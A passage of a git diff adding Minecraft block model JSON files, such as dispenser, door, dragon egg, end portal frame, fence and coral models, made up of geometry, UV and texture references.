"minecraft:block/dispenser_front", + "side": "minecraft:block/furnace_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dispenser_vertical.json b/src/assets/minecraft/models/block/dispenser_vertical.json new file mode 100644 index 00000000..7b681162 --- /dev/null +++ b/src/assets/minecraft/models/block/dispenser_vertical.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/orientable_vertical", + "textures": { + "front": "minecraft:block/dispenser_front_vertical", + "side": "minecraft:block/furnace_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/door_bottom.json b/src/assets/minecraft/models/block/door_bottom.json new file mode 100644 index 00000000..905758fe --- /dev/null +++ b/src/assets/minecraft/models/block/door_bottom.json @@ -0,0 +1,18 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#bottom" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 3, 16, 16 ], + "faces": { + "down": { "uv": [ 13, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "north": { "uv": [ 3, 0, 0, 16 ], "texture": "#bottom", "cullface": "north" }, + "south": { "uv": [ 0, 0, 3, 16 ], "texture": "#bottom", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "west" }, + "east": { "uv": [ 16, 0, 0, 16 ], "texture": "#bottom" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/door_bottom_rh.json b/src/assets/minecraft/models/block/door_bottom_rh.json new file mode 100644 index 00000000..26acf4c7 --- /dev/null +++ b/src/assets/minecraft/models/block/door_bottom_rh.json @@ -0,0 +1,18 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#bottom" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 3, 16, 16 ], + "faces": { + "down": { "uv": [ 13, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "north": { "uv": [ 3, 0, 0, 16 ], "texture": "#bottom", "cullface": "north" }, + "south": { "uv": [ 0, 0, 3, 16 ], "texture": "#bottom", "cullface": "south" }, + "west": { "uv": [ 16, 0, 0, 16 ], "texture": "#bottom", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/door_top.json b/src/assets/minecraft/models/block/door_top.json new file mode 100644 index 00000000..809fa443 --- /dev/null +++ b/src/assets/minecraft/models/block/door_top.json @@ -0,0 +1,18 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#top" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 3, 16, 16 ], + "faces": { + "up": { "uv": [ 13, 0, 16, 16 ], "texture": "#bottom", "cullface": "up" }, + "north": { "uv": [ 3, 0, 0, 16 ], "texture": "#top", "cullface": "north" }, + "south": { "uv": [ 0, 0, 3, 16 ], "texture": "#top", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#top", "cullface": "west" }, + "east": { "uv": [ 16, 0, 0, 16 ], "texture": "#top" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/door_top_rh.json b/src/assets/minecraft/models/block/door_top_rh.json new file mode 100644 index 00000000..e7d2f930 --- /dev/null +++ b/src/assets/minecraft/models/block/door_top_rh.json @@ -0,0 +1,18 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "#top" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 3, 16, 16 ], + "faces": { + "up": { "uv": [ 13, 0, 16, 16 ], "texture": "#bottom", "cullface": "up" }, + "north": { "uv": [ 3, 0, 0, 16 ], "texture": "#top", "cullface": "north" }, + "south": { "uv": [ 0, 0, 3, 16 ], "texture": "#top", "cullface": "south" }, + "west": { "uv": [ 16, 0, 0, 16 ], "texture": "#top", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/dragon_egg.json b/src/assets/minecraft/models/block/dragon_egg.json new file mode 100644 index 00000000..19e6c4e2 --- /dev/null +++ b/src/assets/minecraft/models/block/dragon_egg.json @@ -0,0 +1,97 @@ +{ "parent": "block/block", + "ambientocclusion": false, + "textures": { + "particle": "block/dragon_egg", + "all": "block/dragon_egg" + }, + "elements": [ + { "from": [ 6, 15, 6 ], + "to": [ 10, 16, 10 ], + "faces": { + "down": { "uv": [ 6, 6, 10, 10 ], "texture": "#all" }, + "up": { "uv": [ 6, 6, 10, 10 ], "texture": "#all" }, + "north": { "uv": [ 6, 15, 10, 16 ], "texture": "#all" }, + "south": { "uv": [ 6, 15, 10, 16 ], "texture": "#all" }, + "west": { "uv": [ 6, 15, 10, 16 ], "texture": "#all" }, + "east": { "uv": [ 6, 15, 10, 16 ], "texture": "#all" } + } + }, + { "from": [ 5, 14, 5 ], + "to": [ 11, 15, 11 ], + "faces": { + "down": { "uv": [ 5, 5, 11, 11 ], "texture": "#all" }, + "up": { "uv": [ 5, 5, 11, 11 ], "texture": "#all" }, + "north": { "uv": [ 5, 14, 11, 15 ], "texture": "#all" }, + "south": { "uv": [ 5, 14, 11, 15 ], "texture": "#all" }, + "west": { "uv": [ 5, 14, 11, 15 ], "texture": "#all" }, + "east": { "uv": [ 5, 14, 11, 15 ], "texture": "#all" } + } + }, + { "from": [ 5, 13, 5 ], + "to": [ 11, 14, 11 ], + "faces": { + "down": { "uv": [ 4, 4, 12, 12 ], "texture": "#all" }, + "up": { "uv": [ 4, 4, 12, 12 ], "texture": "#all" }, + "north": { "uv": [ 4, 13, 12, 14 ], "texture": "#all" }, + "south": { "uv": [ 4, 13, 12, 14 ], "texture": "#all" }, + "west": { "uv": [ 4, 13, 12, 14 ], "texture": "#all" }, + "east": { "uv": [ 4, 13, 12, 14 ], "texture": "#all" } + } + }, + { "from": [ 3, 11, 3 ], + "to": [ 13, 13, 13 ], + "faces": { + "down": { "uv": [ 3, 3, 13, 13 ], "texture": "#all" }, + "up": { "uv": [ 3, 3, 13, 13 ], "texture": "#all" }, + "north": { "uv": [ 3, 11, 13, 13 ], "texture": "#all" }, + "south": { "uv": [ 3, 11, 13, 13 ], "texture": "#all" }, + "west": { "uv": [ 3, 11, 13, 13 ], "texture": "#all" }, + "east": { "uv": [ 3, 11, 13, 13 ], "texture": "#all" } + } + }, + { "from": [ 2, 8, 2 ], + "to": [ 14, 11, 14 ], + "faces": { + "down": { "uv": [ 2, 2, 14, 14 ], "texture": "#all" }, + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#all" }, + "north": { "uv": [ 2, 8, 14, 11 ], "texture": "#all" }, + "south": { "uv": [ 2, 8, 14, 11 ], "texture": "#all" }, + "west": { "uv": [ 2, 8, 14, 11 ], "texture": "#all" }, + "east": { "uv": [ 2, 8, 14, 11 ], "texture": "#all" } + } + }, + { "from": [ 1, 3, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "uv": [ 1, 1, 15, 15 ], "texture": "#all" }, + "up": { "uv": [ 1, 1, 15, 15 ], "texture": "#all" }, + "north": { "uv": [ 1, 3, 15, 8 ], "texture": "#all" }, + "south": { "uv": [ 1, 3, 15, 8 ], "texture": "#all" }, + "west": { "uv": [ 1, 3, 15, 8 ], "texture": "#all" }, + "east": { "uv": [ 1, 3, 15, 8 ], "texture": "#all" } + } + }, + { "from": [ 2, 1, 2 ], + "to": [ 14, 3, 14 ], + "faces": { + "down": { "uv": [ 2, 2, 14, 14 ], "texture": "#all" }, + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#all" }, + "north": { "uv": [ 2, 1, 14, 3 ], "texture": "#all" }, + "south": { "uv": [ 2, 1, 14, 3 ], "texture": "#all" }, + "west": { "uv": [ 2, 1, 14, 3 ], "texture": "#all" }, + "east": { "uv": [ 2, 1, 14, 3 ], "texture": "#all" } + } + }, + { "from": [ 3, 0, 3 ], + "to": [ 13, 1, 13 ], + "faces": { + "down": { "uv": [ 3, 3, 13, 13 ], "texture": "#all" }, + "up": { "uv": [ 3, 3, 13, 13 ], "texture": "#all" }, + "north": { "uv": [ 3, 0, 13, 1 ], "texture": "#all" }, + "south": { "uv": [ 3, 0, 13, 1 ], "texture": "#all" }, + "west": { "uv": [ 3, 0, 13, 1 ], "texture": "#all" }, + "east": { "uv": [ 3, 0, 13, 1 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/dried_kelp_block.json b/src/assets/minecraft/models/block/dried_kelp_block.json new file mode 100644 index 00000000..4d76967b --- /dev/null +++ b/src/assets/minecraft/models/block/dried_kelp_block.json @@ -0,0 +1,25 @@ +{ + "parent": "block/block", + "textures": { + "particle": "block/dried_kelp_side", + "down": "block/dried_kelp_bottom", + "up": "block/dried_kelp_top", + "north": "block/dried_kelp_side", + "east": "block/dried_kelp_side", + "south": "block/dried_kelp_side", + "west": "block/dried_kelp_side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "texture": "#down", "cullface": "down" }, + "up": { "texture": "#up", "cullface": "up" }, + "north": { "texture": "#north", "cullface": "north" }, + "south": { "uv": [16, 0, 0, 16], "texture": "#south", "cullface": "south" }, + "west": { "texture": "#west", "cullface": "west" }, + "east": { "uv": [16, 0, 0, 16], "texture": "#east", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/dropper.json b/src/assets/minecraft/models/block/dropper.json new file mode 100644 index 00000000..e5dd35a2 --- /dev/null +++ b/src/assets/minecraft/models/block/dropper.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/furnace_top", + "front": "minecraft:block/dropper_front", + "side": "minecraft:block/furnace_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/dropper_vertical.json b/src/assets/minecraft/models/block/dropper_vertical.json new file mode 100644 index 00000000..98c24a7a --- /dev/null +++ b/src/assets/minecraft/models/block/dropper_vertical.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/orientable_vertical", + "textures": { + "front": "minecraft:block/dropper_front_vertical", + "side": "minecraft:block/furnace_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/emerald_block.json b/src/assets/minecraft/models/block/emerald_block.json new file mode 100644 index 00000000..ae7a4f4c --- /dev/null +++ b/src/assets/minecraft/models/block/emerald_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/emerald_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/emerald_ore.json b/src/assets/minecraft/models/block/emerald_ore.json new file mode 100644 index 00000000..b71c29b8 --- /dev/null +++ b/src/assets/minecraft/models/block/emerald_ore.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/emerald_ore" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/enchanting_table.json b/src/assets/minecraft/models/block/enchanting_table.json new file mode 100644 index 00000000..404ca9a3 --- /dev/null +++ b/src/assets/minecraft/models/block/enchanting_table.json @@ -0,0 +1,21 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/enchanting_table_bottom", + "bottom": "block/enchanting_table_bottom", + "top": "block/enchanting_table_top", + "side": "block/enchanting_table_side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 12, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/end_portal.json b/src/assets/minecraft/models/block/end_portal.json new file mode 100644 index 00000000..ae6b33b2 --- /dev/null +++ b/src/assets/minecraft/models/block/end_portal.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/obsidian" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_portal_frame.json b/src/assets/minecraft/models/block/end_portal_frame.json new file mode 100644 index 00000000..ac716efd --- /dev/null +++ b/src/assets/minecraft/models/block/end_portal_frame.json @@ -0,0 +1,21 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/end_portal_frame_side", + "bottom": "block/end_stone", + "top": "block/end_portal_frame_top", + "side": "block/end_portal_frame_side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 13, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/end_portal_frame_filled.json b/src/assets/minecraft/models/block/end_portal_frame_filled.json new file mode 100644 index 00000000..b3ed9297 --- /dev/null +++ b/src/assets/minecraft/models/block/end_portal_frame_filled.json @@ -0,0 +1,32 @@ +{ + "textures": { + "particle": "block/end_portal_frame_side", + "bottom": "block/end_stone", + "top": "block/end_portal_frame_top", + "side": "block/end_portal_frame_side", + "eye": "block/end_portal_frame_eye" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 13, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 3, 16, 16 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 4, 13, 4 ], + "to": [ 12, 16, 12 ], + "faces": { + "up": { "uv": [ 4, 4, 12, 12 ], "texture": "#eye", "cullface": "up" }, + "north": { "uv": [ 4, 0, 12, 3 ], "texture": "#eye" }, + "south": { "uv": [ 4, 0, 12, 3 ], "texture": "#eye" }, + "west": { "uv": [ 4, 0, 12, 3 ], "texture": "#eye" }, + "east": { "uv": [ 4, 0, 12, 3 ], "texture": "#eye" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/end_rod.json b/src/assets/minecraft/models/block/end_rod.json new file mode 100644 index 00000000..04326c78 --- /dev/null +++ b/src/assets/minecraft/models/block/end_rod.json @@ -0,0 +1,44 @@ +{ "parent": "block/block", + "display": { + "head": { + "rotation": [ -60, 0, 0 ], + "translation": [ 0, 5, -9], + "scale":[ 1, 1, 1] + }, + "thirdperson_righthand": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 0, 0], + "scale": [ 0.375, 0.375, 0.375 ] + } + }, + "ambientocclusion": false, + "textures": { + "end_rod": "block/end_rod", + "particle": "block/end_rod" + }, + "elements": [ + { + "from": [ 6, 0, 6 ], + "to": [ 10, 1, 10 ], + "faces": { + "down": { "uv": [ 6, 6, 2, 2 ], "texture": "#end_rod", "cullface": "down" }, + "up": { "uv": [ 2, 2, 6, 6 ], "texture": "#end_rod" }, + "north": { "uv": [ 2, 6, 6, 7 ], "texture": "#end_rod" }, + "south": { "uv": [ 2, 6, 6, 7 ], "texture": "#end_rod" }, + "west": { "uv": [ 2, 6, 6, 7 ], "texture": "#end_rod" }, + "east": { "uv": [ 2, 6, 6, 7 ], "texture": "#end_rod" } + } + }, + { + "from": [ 7, 1, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "up": { "uv": [ 2, 0, 4, 2 ], "texture": "#end_rod", "cullface": "up" }, + "north": { "uv": [ 0, 0, 2, 15 ], "texture": "#end_rod" }, + "south": { "uv": [ 0, 0, 2, 15 ], "texture": "#end_rod" }, + "west": { "uv": [ 0, 0, 2, 15 ], "texture": "#end_rod" }, + "east": { "uv": [ 0, 0, 2, 15 ], "texture": "#end_rod" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/end_stone.json b/src/assets/minecraft/models/block/end_stone.json new file mode 100644 index 00000000..b3cc680e --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/end_stone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_slab.json b/src/assets/minecraft/models/block/end_stone_brick_slab.json new file mode 100644 index 00000000..c197e4cb --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/end_stone_bricks", + "top": "minecraft:block/end_stone_bricks", + "side": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_slab_top.json b/src/assets/minecraft/models/block/end_stone_brick_slab_top.json new file mode 100644 index 00000000..e7f37831 --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/end_stone_bricks", + "top": "minecraft:block/end_stone_bricks", + "side": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_stairs.json b/src/assets/minecraft/models/block/end_stone_brick_stairs.json new file mode 100644 index 00000000..1e838be1 --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/end_stone_bricks", + "top": "minecraft:block/end_stone_bricks", + "side": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_stairs_inner.json b/src/assets/minecraft/models/block/end_stone_brick_stairs_inner.json new file mode 100644 index 00000000..fae9fec7 --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/end_stone_bricks", + "top": "minecraft:block/end_stone_bricks", + "side": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_stairs_outer.json b/src/assets/minecraft/models/block/end_stone_brick_stairs_outer.json new file mode 100644 index 00000000..1284887c --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/end_stone_bricks", + "top": "minecraft:block/end_stone_bricks", + "side": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_wall_inventory.json b/src/assets/minecraft/models/block/end_stone_brick_wall_inventory.json new file mode 100644 index 00000000..8d84ef2c --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_wall_post.json b/src/assets/minecraft/models/block/end_stone_brick_wall_post.json new file mode 100644 index 00000000..fba19f84 --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_wall_side.json b/src/assets/minecraft/models/block/end_stone_brick_wall_side.json new file mode 100644 index 00000000..be12a31b --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_brick_wall_side_tall.json b/src/assets/minecraft/models/block/end_stone_brick_wall_side_tall.json new file mode 100644 index 00000000..ba695b27 --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/end_stone_bricks.json b/src/assets/minecraft/models/block/end_stone_bricks.json new file mode 100644 index 00000000..fd288c3d --- /dev/null +++ b/src/assets/minecraft/models/block/end_stone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/end_stone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/ender_chest.json b/src/assets/minecraft/models/block/ender_chest.json new file mode 100644 index 00000000..ae6b33b2 --- /dev/null +++ b/src/assets/minecraft/models/block/ender_chest.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/obsidian" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/farmland.json b/src/assets/minecraft/models/block/farmland.json new file mode 100644 index 00000000..6fb9a895 --- /dev/null +++ b/src/assets/minecraft/models/block/farmland.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_farmland", + "textures": { + "dirt": "minecraft:block/dirt", + "top": "minecraft:block/farmland" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/farmland_moist.json b/src/assets/minecraft/models/block/farmland_moist.json new file mode 100644 index 00000000..4ef2e24b --- /dev/null +++ b/src/assets/minecraft/models/block/farmland_moist.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_farmland", + "textures": { + "dirt": "minecraft:block/dirt", + "top": "minecraft:block/farmland_moist" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fence_inventory.json b/src/assets/minecraft/models/block/fence_inventory.json new file mode 100644 index 00000000..514f7416 --- /dev/null +++ b/src/assets/minecraft/models/block/fence_inventory.json @@ -0,0 +1,68 @@ +{ "parent": "block/block", + "display": { + "gui": { + "rotation": [ 30, 135, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.625, 0.625, 0.625 ] + }, + "fixed": { + "rotation": [ 0, 90, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.5, 0.5, 0.5 ] + } + }, + "ambientocclusion": false, + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 6, 0, 0 ], + "to": [ 10, 16, 4 ], + "faces": { + "down": { "uv": [ 6, 0, 10, 4 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 6, 0, 10, 4 ], "texture": "#texture" }, + "north": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "south": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "west": { "uv": [ 0, 0, 4, 16 ], "texture": "#texture" }, + "east": { "uv": [ 0, 0, 4, 16 ], "texture": "#texture" } + }, + "__comment": "Left post" + }, + { "from": [ 6, 0, 12 ], + "to": [ 10, 16, 16 ], + "faces": { + "down": { "uv": [ 6, 12, 10, 16 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 6, 12, 10, 16 ], "texture": "#texture" }, + "north": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "south": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "west": { "uv": [ 12, 0, 16, 16 ], "texture": "#texture" }, + "east": { "uv": [ 12, 0, 16, 16 ], "texture": "#texture" } + }, + "__comment": "Right post" + }, + { "from": [ 7, 13, -2 ], + "to": [ 9, 15, 18 ], + "faces": { + "down": { "uv": [ 7, 0, 9, 16 ], "texture": "#texture" }, + "up": { "uv": [ 7, 0, 9, 16 ], "texture": "#texture" }, + "north": { "uv": [ 7, 1, 9, 3 ], "texture": "#texture" }, + "south": { "uv": [ 7, 1, 9, 3 ], "texture": "#texture" }, + "west": { "uv": [ 0, 1, 16, 3 ], "texture": "#texture" }, + "east": { "uv": [ 0, 1, 16, 3 ], "texture": "#texture" } + }, + "__comment": "Top bar" + }, + { "from": [ 7, 5, -2 ], + "to": [ 9, 7, 18 ], + "faces": { + "down": { "uv": [ 7, 0, 9, 16 ], "texture": "#texture" }, + "up": { "uv": [ 7, 0, 9, 16 ], "texture": "#texture" }, + "north": { "uv": [ 7, 9, 9, 11 ], "texture": "#texture" }, + "south": { "uv": [ 7, 9, 9, 11 ], "texture": "#texture" }, + "west": { "uv": [ 0, 9, 16, 11 ], "texture": "#texture" }, + "east": { "uv": [ 0, 9, 16, 11 ], "texture": "#texture" } + }, + "__comment": "Lower bar" + } + ] +} diff --git a/src/assets/minecraft/models/block/fence_post.json b/src/assets/minecraft/models/block/fence_post.json new file mode 100644 index 00000000..4f6a7438 --- /dev/null +++ b/src/assets/minecraft/models/block/fence_post.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 6, 0, 6 ], + "to": [ 10, 16, 10 ], + "faces": { + "down": { "uv": [ 6, 6, 10, 10 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 6, 6, 10, 10 ], "texture": "#texture", "cullface": "up" }, + "north": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "south": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "west": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" }, + "east": { "uv": [ 6, 0, 10, 16 ], "texture": "#texture" } + }, + "__comment": "Center post" + } + ] +} diff --git a/src/assets/minecraft/models/block/fence_side.json b/src/assets/minecraft/models/block/fence_side.json new file mode 100644 index 00000000..7145349b --- /dev/null +++ b/src/assets/minecraft/models/block/fence_side.json @@ -0,0 +1,29 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 7, 12, 0 ], + "to": [ 9, 15, 9 ], + "faces": { + "down": { "uv": [ 7, 0, 9, 9 ], "texture": "#texture" }, + "up": { "uv": [ 7, 0, 9, 9 ], "texture": "#texture" }, + "north": { "uv": [ 7, 1, 9, 4 ], "texture": "#texture", "cullface": "north" }, + "west": { "uv": [ 0, 1, 9, 4 ], "texture": "#texture" }, + "east": { "uv": [ 0, 1, 9, 4 ], "texture": "#texture" } + }, + "__comment": "top bar" + }, + { "from": [ 7, 6, 0 ], + "to": [ 9, 9, 9 ], + "faces": { + "down": { "uv": [ 7, 0, 9, 9 ], "texture": "#texture" }, + "up": { "uv": [ 7, 0, 9, 9 ], "texture": "#texture" }, + "north": { "uv": [ 7, 7, 9, 10 ], "texture": "#texture", "cullface": "north" }, + "west": { "uv": [ 0, 7, 9, 10 ], "texture": "#texture" }, + "east": { "uv": [ 0, 7, 9, 10 ], "texture": "#texture" } + }, + "__comment": "lower bar" + } + ] +} diff --git a/src/assets/minecraft/models/block/fern.json b/src/assets/minecraft/models/block/fern.json new file mode 100644 index 00000000..69449f64 --- /dev/null +++ b/src/assets/minecraft/models/block/fern.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/fern" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_coral.json b/src/assets/minecraft/models/block/fire_coral.json new file mode 100644 index 00000000..0eaf71dd --- /dev/null +++ b/src/assets/minecraft/models/block/fire_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/fire_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_coral_block.json b/src/assets/minecraft/models/block/fire_coral_block.json new file mode 100644 index 00000000..ad084a77 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/fire_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_coral_fan.json b/src/assets/minecraft/models/block/fire_coral_fan.json new file mode 100644 index 00000000..4aec8dd1 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/fire_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_coral_wall_fan.json b/src/assets/minecraft/models/block/fire_coral_wall_fan.json new file mode 100644 index 00000000..07546a42 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/fire_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_floor0.json b/src/assets/minecraft/models/block/fire_floor0.json new file mode 100644 index 00000000..f137115d --- /dev/null +++ b/src/assets/minecraft/models/block/fire_floor0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fire_floor", + "textures": { + "fire": "minecraft:block/fire_0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/fire_floor1.json b/src/assets/minecraft/models/block/fire_floor1.json new file mode 100644 index 00000000..1822fe75 --- /dev/null +++ b/src/assets/minecraft/models/block/fire_floor1.json @@ -0,0 +1,6 @@ +{ + "parent": 